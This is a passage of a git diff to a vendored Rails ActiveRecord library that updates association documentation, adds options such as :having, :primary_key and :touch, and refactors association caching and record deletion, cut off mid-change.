+      #       create_table :developers_projects, :id => false do |t|
+      #         t.integer :developer_id
+      #         t.integer :project_id
+      #       end
+      #     end
+      #
+      #     def self.down
+      #       drop_table :developers_projects
+      #     end
+      #   end
+      #
       # Deprecated: Any additional fields added to the join table will be placed as attributes when pulling records out through
       # +has_and_belongs_to_many+ associations. Records returned from join tables with additional attributes will be marked as
       # readonly (because we can't save changes to the additional attributes). It's strongly recommended that you upgrade any
@@ -1103,7 +1105,7 @@ module ActiveRecord
       #   Finds an associated object responding to the +id+ and that
       #   meets the condition that it has to be associated with this object.
       #   Uses the same rules as ActiveRecord::Base.find.
-      # [collection.exist?(...)]
+      # [collection.exists?(...)]
       #   Checks whether an associated object with the given conditions exists.
       #   Uses the same rules as ActiveRecord::Base.exists?.
       # [collection.build(attributes = {})]
@@ -1129,7 +1131,7 @@ module ActiveRecord
       # * <tt>Developer#projects.empty?</tt>
       # * <tt>Developer#projects.size</tt>
       # * <tt>Developer#projects.find(id)</tt>
-      # * <tt>Developer#clients.exist?(...)</tt>
+      # * <tt>Developer#clients.exists?(...)</tt>
       # * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("project_id" => id)</tt>)
       # * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("project_id" => id); c.save; c</tt>)
       # The declaration may include an options hash to specialize the behavior of the association.
@@ -1147,11 +1149,12 @@ module ActiveRecord
       # [:foreign_key]
       #   Specify the foreign key used for the association. By default this is guessed to be the name
       #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_and_belongs_to_many+ association
-      #   will use "person_id" as the default <tt>:foreign_key</tt>.
+      #   to Project will use "person_id" as the default <tt>:foreign_key</tt>.
       # [:association_foreign_key]
-      #   Specify the association foreign key used for the association. By default this is
-      #   guessed to be the name of the associated class in lower-case and "_id" suffixed. So if the associated class is Project,
-      #   the +has_and_belongs_to_many+ association will use "project_id" as the default <tt>:association_foreign_key</tt>.
+      #   Specify the foreign key used for the association on the receiving side of the association.
+      #   By default this is guessed to be the name of the associated class in lower-case and "_id" suffixed.
+      #   So if a Person class makes a +has_and_belongs_to_many+ association to Project,
+      #   the association will use "project_id" as the default <tt>:association_foreign_key</tt>.
       # [:conditions]
       #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
       #   SQL fragment, such as <tt>authorized = 1</tt>.  Record creations from the association are scoped if a hash is used.  
@@ -1179,6 +1182,8 @@ module ActiveRecord
       #   Specify second-order associations that should be eager loaded when the collection is loaded.
       # [:group]
       #   An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
+      # [:having]
+      #   Combined with +:group+ this can be used to filter the records that a <tt>GROUP BY</tt> returns. Uses the <tt>HAVING</tt> SQL-clause.
       # [:limit]
       #   An integer determining the limit on the number of rows that should be returned.
       # [:offset]
@@ -1190,6 +1195,8 @@ module ActiveRecord
       #   If true, all the associated objects are readonly through the association.
       # [:validate]
       #   If false, don't validate the associated objects when saving the parent object. +true+ by default.
+      # [:autosave]
+      #   If true, always save any loaded members and destroy members marked for destruction, when saving the parent object. Off by default.
       #
       # Option examples:
       #   has_and_belongs_to_many :projects
@@ -1201,20 +1208,17 @@ module ActiveRecord
       #   'DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}'
       def has_and_belongs_to_many(association_id, options = {}, &extension)
         reflection = create_has_and_belongs_to_many_reflection(association_id, options, &extension)
-
-        add_multiple_associated_validation_callbacks(reflection.name) unless options[:validate] == false
-        add_multiple_associated_save_callbacks(reflection.name)
         collection_accessor_methods(reflection, HasAndBelongsToManyAssociation)
 
         # Don't use a before_destroy callback since users' before_destroy
         # callbacks will be executed after the association is wiped out.
         old_method = "destroy_without_habtm_shim_for_#{reflection.name}"
         class_eval <<-end_eval unless method_defined?(old_method)
-          alias_method :#{old_method}, :destroy_without_callbacks
-          def destroy_without_callbacks
-            #{reflection.name}.clear
-            #{old_method}
-          end
+          alias_method :#{old_method}, :destroy_without_callbacks  # alias_method :destroy_without_habtm_shim_for_posts, :destroy_without_callbacks
+          def destroy_without_callbacks                            # def destroy_without_callbacks
+            #{reflection.name}.clear                               #   posts.clear
+            #{old_method}                                          #   destroy_without_habtm_shim_for_posts
+          end                                                      # end
         end_eval
 
         add_association_callbacks(reflection.name, options)
@@ -1237,33 +1241,30 @@ module ActiveRecord
         end
 
         def association_accessor_methods(reflection, association_proxy_class)
-          ivar = "@#{reflection.name}"
-
           define_method(reflection.name) do |*params|
             force_reload = params.first unless params.empty?
-
-            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+            association = association_instance_get(reflection.name)
 
             if association.nil? || force_reload
               association = association_proxy_class.new(self, reflection)
               retval = association.reload
               if retval.nil? and association_proxy_class == BelongsToAssociation
-                instance_variable_set(ivar, nil)
+                association_instance_set(reflection.name, nil)
                 return nil
               end
-              instance_variable_set(ivar, association)
+              association_instance_set(reflection.name, association)
             end
 
             association.target.nil? ? nil : association
           end
 
           define_method("loaded_#{reflection.name}?") do
-            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+            association = association_instance_get(reflection.name)
             association && association.loaded?
           end
 
           define_method("#{reflection.name}=") do |new_value|
-            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+            association = association_instance_get(reflection.name)
 
             if association.nil? || association.target != new_value
               association = association_proxy_class.new(self, reflection)
@@ -1271,10 +1272,14 @@ module ActiveRecord
 
             if association_proxy_class == HasOneThroughAssociation
               association.create_through_record(new_value)
-              self.send(reflection.name, new_value)
+              if new_record?
+                association_instance_set(reflection.name, new_value.nil? ? nil : association)
+              else
+                self.send(reflection.name, new_value)
+              end
             else
               association.replace(new_value)
-              instance_variable_set(ivar, new_value.nil? ? nil : association)
+              association_instance_set(reflection.name, new_value.nil? ? nil : association)
             end
           end
 
@@ -1282,20 +1287,18 @@ module ActiveRecord
             return if target.nil? and association_proxy_class == BelongsToAssociation
             association = association_proxy_class.new(self, reflection)
             association.target = target
-            instance_variable_set(ivar, association)
+            association_instance_set(reflection.name, association)
           end
         end
 
         def collection_reader_method(reflection, association_proxy_class)
           define_method(reflection.name) do |*params|
-            ivar = "@#{reflection.name}"
-
             force_reload = params.first unless params.empty?
-            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+            association = association_instance_get(reflection.name)
 
-            unless association.respond_to?(:loaded?)
+            unless association
               association = association_proxy_class.new(self, reflection)
-              instance_variable_set(ivar, association)
+              association_instance_set(reflection.name, association)
             end
 
             association.reload if force_reload
@@ -1324,92 +1327,21 @@ module ActiveRecord
             end
 
             define_method("#{reflection.name.to_s.singularize}_ids=") do |new_value|
-              ids = (new_value || []).reject { |nid| nid.blank? }
-              send("#{reflection.name}=", reflection.class_name.constantize.find(ids))
+              ids = (new_value || []).reject { |nid| nid.blank? }.map(&:to_i)
+              send("#{reflection.name}=", reflection.klass.find(ids).index_by(&:id).values_at(*ids))
             end
           end
         end
 
-        def add_single_associated_validation_callbacks(association_name)
-          method_name = "validate_associated_records_for_#{association_name}".to_sym
-          define_method(method_name) do
-            association = instance_variable_get("@#{association_name}")
-            if !association.nil?
-              errors.add association_name unless association.target.nil? || association.valid?
-            end
-          end
-
-          validate method_name
-        end
-
-        def add_multiple_associated_validation_callbacks(association_name)
-          method_name = "validate_associated_records_for_#{association_name}".to_sym
-          ivar = "@#{association_name}"
-
-          define_method(method_name) do
-            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
-            if association.respond_to?(:loaded?)
-              if new_record?
-                association
-              elsif association.loaded?
-                association.select { |record| record.new_record? }
-              else
-                association.target.select { |record| record.new_record? }
-              end.each do |record|
-                errors.add association_name unless record.valid?
-              end
-            end
-          end
-
-          validate method_name
-        end
-
-        def add_multiple_associated_save_callbacks(association_name)
-          ivar = "@#{association_name}"
-
-          method_name = "before_save_associated_records_for_#{association_name}".to_sym
-          define_method(method_name) do
-            @new_record_before_save = new_record?
-            true
-          end
-          before_save method_name
-
-          method_name = "after_create_or_update_associated_records_for_#{association_name}".to_sym
-          define_method(method_name) do
-            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
-            records_to_save = if @new_record_before_save
-              association
-            elsif association.respond_to?(:loaded?) && association.loaded?
-              association.select { |record| record.new_record? }
-            elsif association.respond_to?(:loaded?) && !association.loaded?
-              association.target.select { |record| record.new_record? }
-            else
-              []
-            end
-            records_to_save.each { |record| association.send(:insert_record, record) } unless records_to_save.blank?
-
-            # reconstruct the SQL queries now that we know the owner's id
-            association.send(:construct_sql) if association.respond_to?(:construct_sql)
-          end
-
-          # Doesn't use after_save as that would save associations added in after_create/after_update twice
-          after_create method_name
-          after_update method_name
-        end
-
         def association_constructor_method(constructor, reflection, association_proxy_class)
           define_method("#{constructor}_#{reflection.name}") do |*params|
-            ivar = "@#{reflection.name}"
-
             attributees      = params.first unless params.empty?
             replace_existing = params[1].nil? ? true : params[1]
-            association      = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+            association      = association_instance_get(reflection.name)
 
-            if association.nil?
+            unless association
               association = association_proxy_class.new(self, reflection)
-              instance_variable_set(ivar, association)
+              association_instance_set(reflection.name, association)
             end
 
             if association_proxy_class == HasOneAssociation
@@ -1420,6 +1352,43 @@ module ActiveRecord
           end
         end
 
+        def add_counter_cache_callbacks(reflection)
+          cache_column = reflection.counter_cache_column
+
+          method_name = "belongs_to_counter_cache_after_create_for_#{reflection.name}".to_sym
+          define_method(method_name) do
+            association = send(reflection.name)
+            association.class.increment_counter(cache_column, association.id) unless association.nil?
+          end
+          after_create(method_name)
+
+          method_name = "belongs_to_counter_cache_before_destroy_for_#{reflection.name}".to_sym
+          define_method(method_name) do
+            association = send(reflection.name)
+            association.class.decrement_counter(cache_column, association.id) unless association.nil?
+          end
+          before_destroy(method_name)
+
+          module_eval(
+            "#{reflection.class_name}.send(:attr_readonly,\"#{cache_column}\".intern) if defined?(#{reflection.class_name}) && #{reflection.class_name}.respond_to?(:attr_readonly)"
+          )
+        end
+        
+        def add_touch_callbacks(reflection, touch_attribute)
+          method_name = "belongs_to_touch_after_save_or_destroy_for_#{reflection.name}".to_sym
+          define_method(method_name) do
+            association = send(reflection.name)
+            
+            if touch_attribute == true
+              association.touch unless association.nil?
+            else
+              association.touch(touch_attribute) unless association.nil?
+            end
+          end
+          after_save(method_name)
+          after_destroy(method_name)
+        end
+
         def find_with_associations(options = {})
           catch :invalid_query do
             join_dependency = JoinDependency.new(self, merge_includes(scope(:find, :include), options[:include]), options[:joins])
@@ -1442,12 +1411,12 @@ module ActiveRecord
           if reflection.options.include?(:dependent)
             # Add polymorphic type if the :as option is present
             dependent_conditions = []
-            dependent_conditions << "#{reflection.primary_key_name} = \#{record.quoted_id}"
+            dependent_conditions << "#{reflection.primary_key_name} = \#{record.#{reflection.name}.send(:owner_quoted_id)}"
             dependent_conditions << "#{reflection.options[:as]}_type = '#{base_class.name}'" if reflection.options[:as]
-            dependent_conditions << sanitize_sql(reflection.options[:conditions]) if reflection.options[:conditions]
+            dependent_conditions << sanitize_sql(reflection.options[:conditions], reflection.quoted_table_name) if reflection.options[:conditions]
             dependent_conditions << extra_conditions if extra_conditions
             dependent_conditions = dependent_conditions.collect {|where| "(#{where})" }.join(" AND ")
-
+            dependent_conditions = dependent_conditions.gsub('@', '\@')
             case reflection.options[:dependent]
               when :destroy
                 method_name = "has_many_dependent_destroy_for_#{reflection.name}".to_sym
@@ -1457,22 +1426,22 @@ module ActiveRecord
                 before_destroy method_name
               when :delete_all
                 module_eval %Q{
-                  before_destroy do |record|
-                    delete_all_has_many_dependencies(record,
-                      "#{reflection.name}",
-                      #{reflection.class_name},
-                      "#{dependent_conditions}")
-                  end
+                  before_destroy do |record|                  # before_destroy do |record|
+                    delete_all_has_many_dependencies(record,  #   delete_all_has_many_dependencies(record,
+                      "#{reflection.name}",                   #     "posts",
+                      #{reflection.class_name},               #     Post,
+                      %@#{dependent_conditions}@)             #     %@...@) # this is a string literal like %(...)
+                  end                                         # end
                 }
               when :nullify
                 module_eval %Q{
-                  before_destroy do |record|
-                    nullify_has_many_dependencies(record,
-                      "#{reflection.name}",
-                      #{reflection.class_name},
-                      "#{reflection.primary_key_name}",
-                      "#{dependent_conditions}")
-                  end
+                  before_destroy do |record|                  # before_destroy do |record|
+                    nullify_has_many_dependencies(record,     #   nullify_has_many_dependencies(record,
+                      "#{reflection.name}",                   #     "posts",
+                      #{reflection.class_name},               #     Post,
+                      "#{reflection.primary_key_name}",       #     "user_id",
+                      %@#{dependent_conditions}@)             #     %@...@) # this is a string literal like %(...)
+                  end                                         # end
                 }
               else
                 raise ArgumentError, "The :dependent option expects either :destroy, :delete_all, or :nullify (#{reflection.options[:dependent].inspect})"
@@ -1525,14 +1494,14 @@ module ActiveRecord
                   association = send(reflection.name)
                   association.destroy unless association.nil?
                 end
-                before_destroy method_name
+                after_destroy method_name
               when :delete
                 method_name = "belongs_to_dependent_delete_for_#{reflection.name}".to_sym
                 define_method(method_name) do
                   association = send(reflection.name)
                   association.delete unless association.nil?
                 end
-                before_destroy method_name
+                after_destroy method_name
               else
                 raise ArgumentError, "The :dependent option expects either :destroy or :delete (#{reflection.options[:dependent].inspect})"
             end
@@ -1551,7 +1520,7 @@ module ActiveRecord
         @@valid_keys_for_has_many_association = [
           :class_name, :table_name, :foreign_key, :primary_key,
           :dependent,
-          :select, :conditions, :include, :order, :group, :limit, :offset,
+          :select, :conditions, :include, :order, :group, :having, :limit, :offset,
           :as, :through, :source, :source_type,
           :uniq,
           :finder_sql, :counter_sql,
@@ -1588,9 +1557,9 @@ module ActiveRecord
 
         mattr_accessor :valid_keys_for_belongs_to_association
         @@valid_keys_for_belongs_to_association = [
-          :class_name, :foreign_key, :foreign_type, :remote, :select, :conditions,
+          :class_name, :primary_key, :foreign_key, :foreign_type, :remote, :select, :conditions,
           :include, :dependent, :counter_cache, :extend, :polymorphic, :readonly,
-          :validate
+          :validate, :touch
         ]
 
         def create_belongs_to_reflection(association_id, options)
@@ -1607,7 +1576,7 @@ module ActiveRecord
         mattr_accessor :valid_keys_for_has_and_belongs_to_many_association
         @@valid_keys_for_has_and_belongs_to_many_association = [
           :class_name, :table_name, :join_table, :foreign_key, :association_foreign_key,
-          :select, :conditions, :include, :order, :group, :limit, :offset,
+          :select, :conditions, :include, :order, :group, :having, :limit, :offset,
           :uniq,
           :finder_sql, :counter_sql, :delete_sql, :insert_sql,
           :before_add, :after_add, :before_remove, :after_remove,
@@ -1621,6 +1590,10 @@ module ActiveRecord
           options[:extend] = create_extension_modules(association_id, extension, options[:extend])
 
           reflection = create_reflection(:has_and_belongs_to_many, association_id, options, self)
+          
+          if reflection.association_foreign_key == reflection.primary_key_name
+            raise HasAndBelongsToManyAssociationForeignKeyNeeded.new(reflection)
+          end
 
           reflection.options[:join_table] ||= join_table_name(undecorated_table_name(self.to_s), undecorated_table_name(reflection.class_name))
 
@@ -1656,7 +1629,7 @@ module ActiveRecord
           add_conditions!(sql, options[:conditions], scope)
           add_limited_ids_condition!(sql, options, join_dependency) if !using_limitable_reflections?(join_dependency.reflections) && ((scope && scope[:limit]) || options[:limit])
 
-          add_group!(sql, options[:group], scope)
+          add_group!(sql, options[:group], options[:having], scope)
           add_order!(sql, options[:order], scope)
           add_limit!(sql, options, scope) if using_limitable_reflections?(join_dependency.reflections)
           add_lock!(sql, options, scope)
@@ -1712,7 +1685,7 @@ module ActiveRecord
           end
 
           add_conditions!(sql, options[:conditions], scope)
-          add_group!(sql, options[:group], scope)
+          add_group!(sql, options[:group], options[:having], scope)
 
           if order && is_distinct
             connection.add_order_by_for_association_limiting!(sql, :order => order)
@@ -1725,46 +1698,82 @@ module ActiveRecord
           return sanitize_sql(sql)
         end
 
+        def tables_in_string(string)
+          return [] if string.blank?
+          string.scan(/([\.a-zA-Z_]+).?\./).flatten
+        end
+
+        def tables_in_hash(hash)
+          return [] if hash.blank?
+          tables = hash.map do |key, value|
+            if value.is_a?(Hash)
+              key.to_s
+            else
+              tables_in_string(key) if key.is_a?(String)
+            end
+          end
+          tables.flatten.compact
+        end
+
         def conditions_tables(options)
           # look in both sets of conditions
           conditions = [scope(:find, :conditions), options[:conditions]].inject([]) do |all, cond|
             case cond
               when nil   then all
-              when Array then all << cond.first
-              else            all << cond
+              when Array then all << tables_in_string(cond.first)
+              when Hash  then all << tables_in_hash(cond)
+              else            all << tables_in_string(cond)
             end
           end
-          conditions.join(' ').scan(/([\.a-zA-Z_]+).?\./).flatten
+          conditions.flatten
         end
 
         def order_tables(options)
           order = [options[:order], scope(:find, :order) ].join(", ")
           return [] unless order && order.is_a?(String)
-          order.scan(/([\.a-zA-Z_]+).?\./).flatten
+          tables_in_string(order)
         end
 
         def selects_tables(options)
           select = options[:select]
           return [] unless select && select.is_a?(String)
-          select.scan(/"?([\.a-zA-Z_]+)"?.?\./).flatten
+          tables_in_string(select)
+        end
+
+        def joined_tables(options)
+          scope = scope(:find)
+          joins = options[:joins]
+          merged_joins = scope && scope[:joins] && joins ? merge_joins(scope[:joins], joins) : (joins || scope && scope[:joins])
+          [table_name] + case merged_joins
+          when Symbol, Hash, Array
+            if array_of_strings?(merged_joins)
+              tables_in_string(merged_joins.join(' '))
+            else
+              join_dependency = ActiveRecord::Associations::ClassMethods::InnerJoinDependency.new(self, merged_joins, nil)
+              join_dependency.join_associations.collect {|join_association| [join_association.aliased_join_table_name, join_association.aliased_table_name]}.flatten.compact
+            end
+          else
+            tables_in_string(merged_joins)
+          end
         end
 
         # Checks if the conditions reference a table other than the current model table
-        def include_eager_conditions?(options, tables = nil)
-          ((tables || conditions_tables(options)) - [table_name]).any?
+        def include_eager_conditions?(options, tables = nil, joined_tables = nil)
+          ((tables || conditions_tables(options)) - (joined_tables || joined_tables(options))).any?
         end
 
         # Checks if the query order references a table other than the current model's table.
-        def include_eager_order?(options, tables = nil)
-          ((tables || order_tables(options)) - [table_name]).any?
+        def include_eager_order?(options, tables = nil, joined_tables = nil)
+          ((tables || order_tables(options)) - (joined_tables || joined_tables(options))).any?
         end
 
-        def include_eager_select?(options)
-          (selects_tables(options) - [table_name]).any?
+        def include_eager_select?(options, joined_tables = nil)
+          (selects_tables(options) - (joined_tables || joined_tables(options))).any?
         end
 
         def references_eager_loaded_tables?(options)
-          include_eager_order?(options) || include_eager_conditions?(options) || include_eager_select?(options)
+          joined_tables = joined_tables(options)
+          include_eager_order?(options, nil, joined_tables) || include_eager_conditions?(options, nil, joined_tables) || include_eager_select?(options, joined_tables)
         end
 
         def using_limitable_reflections?(reflections)
@@ -1864,7 +1873,7 @@ module ActiveRecord
                     descendant
                   end.flatten.compact
 
-                  remove_duplicate_results!(reflection.class_name.constantize, parent_records, associations[name]) unless parent_records.empty?
+                  remove_duplicate_results!(reflection.klass, parent_records, associations[name]) unless parent_records.empty?
                 end
             end
           end
@@ -1919,9 +1928,10 @@ module ActiveRecord
             def construct(parent, associations, joins, row)
               case associations
                 when Symbol, String
-                  while (join = joins.shift).reflection.name.to_s != associations.to_s
-                    raise ConfigurationError, "Not Enough Associations" if joins.empty?
-                  end
+                  join = joins.detect{|j| j.reflection.name.to_s == associations.to_s && j.parent_table_name == parent.class.table_name }
+                  raise(ConfigurationError, "No such association") if join.nil?
+
+                  joins.delete(join)
                   construct_association(parent, join, row)
                 when Array
                   associations.each do |association|
@@ -1929,7 +1939,11 @@ module ActiveRecord
                   end
                 when Hash
                   associations.keys.sort{|a,b|a.to_s<=>b.to_s}.each do |name|
-                    association = construct_association(parent, joins.shift, row)
+                    join = joins.detect{|j| j.reflection.name.to_s == name.to_s && j.parent_table_name == parent.class.table_name }
+                    raise(ConfigurationError, "No such association") if join.nil?
+
+                    association = construct_association(parent, join, row)
+                    joins.delete(join)
                     construct(association, associations[name], joins, row) if association
                   end
                 else
@@ -2141,7 +2155,7 @@ module ActiveRecord
                         aliased_table_name,
                         foreign_key,
                         parent.aliased_table_name,
-                        parent.primary_key
+                        reflection.options[:primary_key] || parent.primary_key
                       ]
                   end
                 when :belongs_to
@@ -2159,7 +2173,7 @@ module ActiveRecord
                 klass.send(:type_condition, aliased_table_name)] unless klass.descends_from_active_record?
 
               [through_reflection, reflection].each do |ref|
-                join << "AND #{interpolate_sql(sanitize_sql(ref.options[:conditions]))} " if ref && ref.options[:conditions]
+                join << "AND #{interpolate_sql(sanitize_sql(ref.options[:conditions], aliased_table_name))} " if ref && ref.options[:conditions]
               end
 
               join
@@ -2168,7 +2182,7 @@ module ActiveRecord
             protected
 
               def aliased_table_name_for(name, suffix = nil)
-                if !parent.table_joins.blank? && parent.table_joins.to_s.downcase =~ %r{join(\s+\w+)?\s+#{name.downcase}\son}
+                if !parent.table_joins.blank? && parent.table_joins.to_s.downcase =~ %r{join(\s+\w+)?\s+#{active_record.connection.quote_table_name name.downcase}\son}
                   @join_dependency.table_aliases[name] += 1
                 end
 
diff --git a/vendor/rails/activerecord/lib/active_record/associations/association_collection.rb b/vendor/rails/activerecord/lib/active_record/associations/association_collection.rb
index 0ff91fbd..42b6e5de 100644
--- a/vendor/rails/activerecord/lib/active_record/associations/association_collection.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations/association_collection.rb
@@ -60,7 +60,7 @@ module ActiveRecord
           @reflection.klass.find(*args)
         end
       end
-      
+
       # Fetches the first one using SQL if possible.
       def first(*args)
         if fetch_first_or_last_using_find?(args)
@@ -83,7 +83,11 @@ module ActiveRecord
 
       def to_ary
         load_target
-        @target.to_ary
+        if @target.is_a?(Array)
+          @target.to_ary
+        else
+          Array(@target)
+        end
       end
 
       def reset
@@ -139,6 +143,8 @@ module ActiveRecord
       end
 
       # Remove all records from this association
+      #
+      # See delete for more info.
       def delete_all
         load_target
         delete(@target)
@@ -182,7 +188,6 @@ module ActiveRecord
         end
       end
 
-
       # Removes +records+ from this association calling +before_remove+ and
       # +after_remove+ callbacks.
       #
@@ -191,22 +196,26 @@ module ActiveRecord
       # are actually removed from the database, that depends precisely on
       # +delete_records+. They are in any case removed from the collection.
       def delete(*records)
-        records = flatten_deeper(records)
-        records.each { |record| raise_on_type_mismatch(record) }
-        
-        transaction do
-          records.each { |record| callback(:before_remove, record) }
-          
-          old_records = records.reject {|r| r.new_record? }
+        remove_records(records) do |records, old_records|
           delete_records(old_records) if old_records.any?
-          
-          records.each do |record|
-            @target.delete(record)
-            callback(:after_remove, record)
-          end
+          records.each { |record| @target.delete(record) }
         end
       end
 
+      # Destroy +records+ and remove them from this association calling
+      # +before_remove+ and +after_remove+ callbacks.
+      #
+      # Note that this method will _always_ remove records from the database
+      # ignoring the +:dependent+ option.
+      def destroy(*records)
+        records = find(records) if records.any? {|record| record.kind_of?(Fixnum) || record.kind_of?(String)}
+        remove_records(records) do |records, old_records|
+          old_records.each { |record| record.destroy }
+        end
+
+        load_target
+      end
+
       # Removes all records from this association.  Returns +self+ so method calls may be chained.
       def clear
         return self if length.zero? # forces load_target if it hasn't happened already
@@ -219,15 +228,16 @@ module ActiveRecord
 
         self
       end
-      
-      def destroy_all
-        transaction do
-          each { |record| record.destroy }
-        end
 
+      # Destory all the records from this association.
+      #
+      # See destroy for more info.
+      def destroy_all
+        load_target
+        destroy(@target)
         reset_target!
       end
-      
+
       def create(attrs = {})
         if attrs.is_a?(Array)
           attrs.collect { |attr| create(attr) }
@@ -427,6 +437,18 @@ module ActiveRecord
           record
         end
 
+        def remove_records(*records)
+          records = flatten_deeper(records)
+          records.each { |record| raise_on_type_mismatch(record) }
+
+          transaction do
+            records.each { |record| callback(:before_remove, record) }
+            old_records = records.reject { |r| r.new_record? }
+            yield(records, old_records)
+            records.each { |record| callback(:after_remove, record) }
+          end
+        end
+
         def callback(method, record)
           callbacks_for(method).each do |callback|
             ActiveSupport::Callbacks::Callback.new(method, callback, record).call(@owner, record)
diff --git a/vendor/rails/activerecord/lib/active_record/associations/association_proxy.rb b/vendor/rails/activerecord/lib/active_record/associations/association_proxy.rb
index d1a79df6..3058e284 100644
--- a/vendor/rails/activerecord/lib/active_record/associations/association_proxy.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations/association_proxy.rb
@@ -169,8 +169,8 @@ module ActiveRecord
         end
 
         # Forwards the call to the reflection class.
-        def sanitize_sql(sql)
-          @reflection.klass.send(:sanitize_sql, sql)
+        def sanitize_sql(sql, table_name = @reflection.klass.quoted_table_name)
+          @reflection.klass.send(:sanitize_sql, sql, table_name)
         end
 
         # Assigns the ID of the owner to the corresponding foreign key in +record+.
@@ -180,7 +180,10 @@ module ActiveRecord
             record["#{@reflection.options[:as]}_id"]   = @owner.id unless @owner.new_record?
             record["#{@reflection.options[:as]}_type"] = @owner.class.base_class.name.to_s
           else
-            record[@reflection.primary_key_name] = @owner.id unless @owner.new_record?
+            unless @owner.new_record?
+              primary_key = @reflection.options[:primary_key] || :id
+              record[@reflection.primary_key_name] = @owner.send(primary_key)
+            end
           end
         end
 
@@ -188,6 +191,7 @@ module ActiveRecord
         def merge_options_from_reflection!(options)
           options.reverse_merge!(
             :group   => @reflection.options[:group],
+            :having  => @reflection.options[:having],
             :limit   => @reflection.options[:limit],
             :offset  => @reflection.options[:offset],
             :joins   => @reflection.options[:joins],
@@ -206,12 +210,14 @@ module ActiveRecord
         # Forwards any missing method call to the \target.
         def method_missing(method, *args)
           if load_target
-            raise NoMethodError unless @target.respond_to?(method)
-
-            if block_given?
-              @target.send(method, *args)  { |*block_args| yield(*block_args) }
+            if @target.respond_to?(method)
+              if block_given?
+                @target.send(method, *args)  { |*block_args| yield(*block_args) }
+              else
+                @target.send(method, *args)
+              end
             else
-              @target.send(method, *args)
+              super
             end
           end
         end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/belongs_to_association.rb b/vendor/rails/activerecord/lib/active_record/associations/belongs_to_association.rb
index f05c6be0..05f8f4fe 100644
--- a/vendor/rails/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -14,7 +14,7 @@ module ActiveRecord
 
         if record.nil?
           if counter_cache_name && !@owner.new_record?
-            @reflection.klass.decrement_counter(counter_cache_name, @owner[@reflection.primary_key_name]) if @owner[@reflection.primary_key_name]
+            @reflection.klass.decrement_counter(counter_cache_name, previous_record_id) if @owner[@reflection.primary_key_name]
           end
 
           @target = @owner[@reflection.primary_key_name] = nil
@@ -27,7 +27,7 @@ module ActiveRecord
           end
 
           @target = (AssociationProxy === record ? record.target : record)
-          @owner[@reflection.primary_key_name] = record.id unless record.new_record?
+          @owner[@reflection.primary_key_name] = record_id(record) unless record.new_record?
           @updated = true
         end
 
@@ -41,18 +41,36 @@ module ActiveRecord
       
       private
         def find_target
-          @reflection.klass.find(
+          find_method = if @reflection.options[:primary_key]
+                          "find_by_#{@reflection.options[:primary_key]}"
+                        else
+                          "find"
+                        end
+          @reflection.klass.send(find_method,
             @owner[@reflection.primary_key_name],
             :select     => @reflection.options[:select],
             :conditions => conditions,
             :include    => @reflection.options[:include],
             :readonly   => @reflection.options[:readonly]
-          )
+          ) if @owner[@reflection.primary_key_name]
         end
 
         def foreign_key_present
           !@owner[@reflection.primary_key_name].nil?
         end
+
+        def record_id(record)
+          record.send(@reflection.options[:primary_key] || :id)
+        end
+
+        def previous_record_id
+          @previous_record_id ||= if @reflection.options[:primary_key]
+                                    previous_record = @owner.send(@reflection.name)
+                                    previous_record.nil? ? nil : previous_record.id
+                                  else
+                                    @owner[@reflection.primary_key_name]
+                                  end
+        end
     end
   end
 end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/vendor/rails/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
index d8146daa..67e18d69 100644
--- a/vendor/rails/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -7,7 +7,7 @@ module ActiveRecord
         else
           @target = (AssociationProxy === record ? record.target : record)
 
-          @owner[@reflection.primary_key_name] = record.id
+          @owner[@reflection.primary_key_name] = record_id(record)
           @owner[@reflection.options[:foreign_type]] = record.class.base_class.name.to_s
 
           @updated = true
@@ -41,6 +41,10 @@ module ActiveRecord
           !@owner[@reflection.primary_key_name].nil?
         end
 
+        def record_id(record)
+          record.send(@reflection.options[:primary_key] || :id)
+        end
+
         def association_class
           @owner[@reflection.options[:foreign_type]] ? @owner[@reflection.options[:foreign_type]].constantize : nil
         end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
index 3d689098..83a4a8b9 100644
--- a/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
@@ -1,6 +1,11 @@
 module ActiveRecord
   module Associations
     class HasAndBelongsToManyAssociation < AssociationCollection #:nodoc:
+      def initialize(owner, reflection)
+        super
+        @primary_key_list = {}
+      end
+
       def create(attributes = {})
         create_record(attributes) { |record| insert_record(record) }
       end
@@ -9,6 +14,20 @@ module ActiveRecord
         create_record(attributes) { |record| insert_record(record, true) }
       end
 
+      def columns
+        @reflection.columns(@reflection.options[:join_table], "#{@reflection.options[:join_table]} Columns")
+      end
+
+      def reset_column_information
+        @reflection.reset_column_information
+      end
+
+      def has_primary_key?
+        return @has_primary_key unless @has_primary_key.nil?
+        @has_primary_key = (@owner.connection.supports_primary_key? &&
+          @owner.connection.primary_key(@reflection.options[:join_table]))
+      end
+
       protected
         def construct_find_options!(options)
           options[:joins]      = @join_sql
@@ -20,20 +39,23 @@ module ActiveRecord
           load_target.size
         end
 
-        def insert_record(record, force=true)
+        def insert_record(record, force = true, validate = true)
